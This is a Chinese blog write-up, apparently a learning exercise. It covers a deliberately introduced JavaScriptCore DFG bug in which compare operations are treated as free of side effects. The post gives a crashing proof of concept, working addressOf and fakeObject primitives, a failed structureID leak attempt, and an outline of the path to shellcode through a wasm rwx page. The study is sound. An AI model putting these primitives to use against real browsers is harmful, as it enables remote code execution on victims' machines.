前言
打算做几道 jsc
的 CTF
题目熟悉熟悉 jsc
的漏洞利用方式,但是发现很多题目都比较老了,commit
似乎已经没了。所以直接最新的 WebKit
上手动引入漏洞,然后尝试进行利用。
环境搭建
sudo apt install cmake
sudo apt install ruby
sudo apt install libicu-dev
git clone https://github.com/WebKit/WebKit.git
cd WebKit
手动引入漏洞
......
Tools/Scripts/build-webkit --jsc-only --debug
Tools/Scripts/build-webkit --jsc-only --release
漏洞分析
题目 patch
如下:
--- DFGAbstractInterpreterInlines.h 2020-03-19 13:12:31.165313000 -0700
+++ DFGAbstractInterpreterInlines__patch.h 2020-03-16 10:34:40.464185700 -0700
@@ -1779,10 +1779,10 @@
case CompareGreater:
case CompareGreaterEq:
case CompareEq: {
- bool isClobbering = node->isBinaryUseKind(UntypedUse);
+ // bool isClobbering = node->isBinaryUseKind(UntypedUse);
- if (isClobbering)
- didFoldClobberWorld();
+ // if (isClobbering)
+ // didFoldClobberWorld();
JSValue leftConst = forNode(node->child1()).value();
JSValue rightConst = forNode(node->child2()).value();
@@ -1905,8 +1905,8 @@
}
}
- if (isClobbering)
- clobberWorld();
+ // if (isClobbering)
+ // clobberWorld();
setNonCellTypeForNode(node, SpecBoolean);
break;
}
补丁打在了 executeEffects
函数中,通过函数路径可以知道其应该与 DFG
优化有关,关键代码如下:
template<typename AbstractStateType>
bool AbstractInterpreter<AbstractStateType>::executeEffects(unsigned clobberLimit, Node* node)
{
verifyEdges(node);
m_state.createValueForNode(node);
switch (node->op()) {
......
case CompareLess:
case CompareLessEq:
case CompareGreater:
case CompareGreaterEq:
case CompareEq: {
// bool isClobbering = node->isBinaryUseKind(UntypedUse);
// if (isClobbering)
// didFoldClobberWorld();
JSValue leftConst = forNode(node->child1()).value();
JSValue rightConst = forNode(node->child2()).value();
......
// if (isClobbering)
// clobberWorld();
setNonCellTypeForNode(node, SpecBoolean);
break;
}
......
} // <=== end switch
return m_state.isValid();
}
executeEffects
函数就是一个巨大的 switch
表,其作用就是检查相应的操作是否存在 side effect
,如果存在 side effect
,则调用 clobberWorld
函数取消之前对数据类型的推测,如果不调用该函数,则会保留之前的数据类型推测。
template<typename AbstractStateType>
void AbstractInterpreter<AbstractStateType>::clobberWorld()
{
clobberStructures();
}
template<typename AbstractStateType>
void AbstractInterpreter<AbstractStateType>::clobberStructures()
{
m_state.clobberStructures();
m_state.mergeClobberState(AbstractInterpreterClobberState::ClobberedStructures);
m_state.setStructureClobberState(StructuresAreClobbered);
}
这里直接看 GPT
的解释:
在 DFG 的抽象解释器(Abstract Interpreter)中,clobberWorld() 和 clobberStructures() 是两个函数,用于处理与代码执行环境和数据结构相关的信息。下面是它们的作用解释:
clobberWorld():该函数用于清除当前代码执行环境中的信息。它调用了 clobberStructures() 函数,从而清除与数据结构相关的信息。该函数可能会被用于在代码的某个位置进行优化,以确保在优化过程中不会使用过期的或无效的环境或数据结构信息。
clobberStructures():该函数用于清除与数据结构相关的信息。它对抽象状态(AbstractStateType)中的数据结构状态进行清除,并将数据结构状态标记为已被清除(ClobberedStructures)。它还将结构状态(StructureClobberState)设置为结构已被清除(StructuresAreClobbered)。这些操作可以确保在进行代码优化时,不会依赖于过期或无效的数据结构信息。
这两个函数的目的是在 DFG 优化过程中维护正确的执行环境和数据结构状态,以确保优化的准确性和可靠性。它们是 DFG 抽象解释器中的重要组成部分,用于清除和更新相关状态,以便进行后续的优化分析和转换操作。
简而言之,该 patch
后的代码认为 CompareLess、CompareLessEq、CompareGreater、CompareGreaterEq、CompareEq
操作不具有 side effect
,但是这显然存在问题,我们知道在 JavaScript
中,不仅仅可以在基本类型之间进行比较,而且还可以在基本类型和对象之间进行比较。最经典的莫过于 toString/valueOf
方法了,这个之前在分析 V8
相关 callback
漏洞时已经详细说过。
比如我们可以使用代码 obj == 1
,在比较时,会调用 obj
对象的 valueOf/toString
方法将其转换为基本类型,但是经过 DFG
优化后,其认为 obj == 1
不存在 side effect
,但是我们可以在 valueOf/toString
方法中进行一些修改对象类型的操作,所以其是存在 side effect
的。由于认为 obj == 1
不存在 side effect
,所以后面对 obj
的操作是不存在类型检查的。
poc
如下:
var arr = [1.1, 2.2, 3.3, 4.4];
arr['a'] = 1;
function trigger(obj, x) {
obj[0] = 1.1;
obj[1] = 2.2;
x == 1;
obj[2] = 5.4922244e-315;
}
for (let i = 0; i < 0x100000; i++) {
trigger(arr, {});
}
trigger(arr, { valueOf:() => {
arr[0] = {};
return 1;
}});
print(arr[2]);
poc
中必须要加上 arr['a'] = 1;
,不然无法触发漏洞,这里笔者认为是为了创建 ArrayWithDouble
数组,而不是 CopyOnWriteArrayWithDouble
数组,但是测试发现当笔者利用其它方式创建 ArrayWithDouble
时,其还是无法成功触发,所以这里具体的原因笔者暂且未知,如果读者有好的想法,欢迎交流,效果如下:
调试分析:
可以看到触发漏洞前,arr
数组类型为 ArrayWithDouble
,此时 butterfly
的 element
域的数据是没有经过 box
处理的:
可以看到 butterfly
的 elements
都是保存的原始 unboxed
数据:
而在经过漏洞触发后,在 toString
中将 arr[0]
修改为了对象 {}
,所以此时数组的类型变成了 ArrayWithContiguous
,那么按理说由于是 ArrayWithContiguous
类型,所有的属性值都应该被 boxed
处理,但是其认为 obj == 1
没有 side effect
,所以认为 arr
的类型还是 ArrayWithDouble
,所以此时 butterfly
的 elements
还是 unboxed
原始数据:
来看下 butterfly
:可以看到都还是原始数据
所以此时的 arr[2] = 0x0000000042424242
就会被当作一个指针,而明显该指针是无效的,所以程序访问 arr[2]
时会 crash
漏洞利用
首先说明一下,笔者用的 WebKit
代码是最新的,所以常用的泄漏 structureID
的方式似乎都无效:
- 方法1:堆喷大量不同
shape
的对象,然后猜测structureID
- 用不了,因为最新版的代码对
structureID
进行了增强,其低 7 比特是一个随机数,中间的 24 比特才是真正的index
- 用不了,因为最新版的代码对
- 方法2:利用
getByVal
进行泄漏,之前版本其未检查structureID
,而是直接加载butterfly
中的数据- 用不了,代码打上了补丁似乎
- 方法3:利用
Function.prototype.toString.call
- 也用不了,调试发现对
structureID
存在检查
- 也用不了,调试发现对
所以最后笔者只写出了 addressOf/fakeObject
原语:
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}
function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}
function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}
function set_u64(val) {
u64[0] = val;
}
function set_l(l) {
u32[0] = l;
}
function set_h(h) {
u32[1] = h;
}
function get_l() {
return u32[0];
}
function get_h() {
return u32[1];
}
function get_u64() {
return u64[0];
}
function get_f64() {
return f64[0];
}
function get_fl(val) {
f64[0] = val;
return u32[0];
}
function get_fh(val) {
f64[0] = val;
return u32[1];
}
function hexx(str, val) {
print(str+": 0x"+val.toString(16));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function addressOf(obj) {
let arr = [1.1, 2.2, 3.3, 4.4];
arr['a'] = 1;
function trigger(obj, x) {
obj[0] = 1.1;
obj[1] = 2.2;
x == 1;
return obj[0];
}
for (let i = 0; i < 80000; i++) {
trigger(arr, {});
}
let val = trigger(arr, {
valueOf:() => {
arr[0] = obj;
return 1;
}
});
return f64_to_u64(val);
}
function prep_fakeObject(addr) {
let arr = [1.1, 2.2, 3.3, 4.4];
arr['a'] = 1;
function trigger(obj, x) {
obj[0] = 1.1;
obj[1] = 2.2;
x == 1;
obj[2] = addr;
}
for (let i = 0; i < 80000; i++) {
trigger(arr, {});
}
trigger(arr, {
valueOf:() => {
arr[0] = {};
return 1;
}
});
return arr[2];
}
function fakeObject(addr) {
return prep_fakeObject(u64_to_f64(addr));
}
function leakStructureID(obj) {
let UnlinkedFunctionExecutable = {
pad:u64_to_f64(0xdeadbeefn),
pad1:1, pad2:2, pad3:3, pad4:4, pad5:5, pad6:6,
identifier:{},
};
let FunctionExecutable = {
pad1:1, pad2:2, pad3:3, pad4:4, pad5:5,
pad6:6, pad7:7, pad8:8, pad9:9,
unlinked_functoin_executable:UnlinkedFunctionExecutable,
};
let FunctionObject = {
jscell:u64_to_f64(0x010e1a0000000000n-0x2000000000000n),
butterfly:{},
pad0:0,
function_executable:FunctionExecutable,
};
let fake_obj_addr = addressOf(FunctionObject) + 0x10n;
let fake_obj = fakeObject(fake_obj_addr);
// print(fake_obj);
UnlinkedFunctionExecutable.identifier = fake_obj;
FunctionObject.butterfly = obj;
hexx("fake_obj_addr", fake_obj_addr);
// debug(describe(FunctionObject));
// readline();
let name_str = Function.prototype.toString.call(fake_obj);
// print(name_str);
}
var noCOW = 0;
var test = [noCOW, 1.1];
//hexx("test_addr", addressOf(test));
leakStructureID(test); // error
后面如果能够泄漏 structureID
的话,就可以伪造一个合法的对象,然后就可以通过修改 butterfly
实现任意地址读写,后面的利用跟之前的就一模一样了,wasm ⇒ rwx_addr ⇒ write shellcode
总结
在笔者看来,利用的关键还是在于 structureID
的泄漏,只有成功泄漏 structureID
才能伪造一个合法的对象,从而读写 butterfly
。然后学到了 3 种 structureID
泄漏的方式,虽然在高版本可能用不了。然后存在一个疑惑的就是为啥要加 arr['a'] = 1
才能触发漏洞,然后就是 ArrayWithDouble
和 CopyOnWriteArrayWithDouble
在漏洞利用中究竟会产生什么影响?希望随着后面的深入,能够解决自己这两个困惑。
参考
https://www.anquanke.com/post/id/223494#h3-7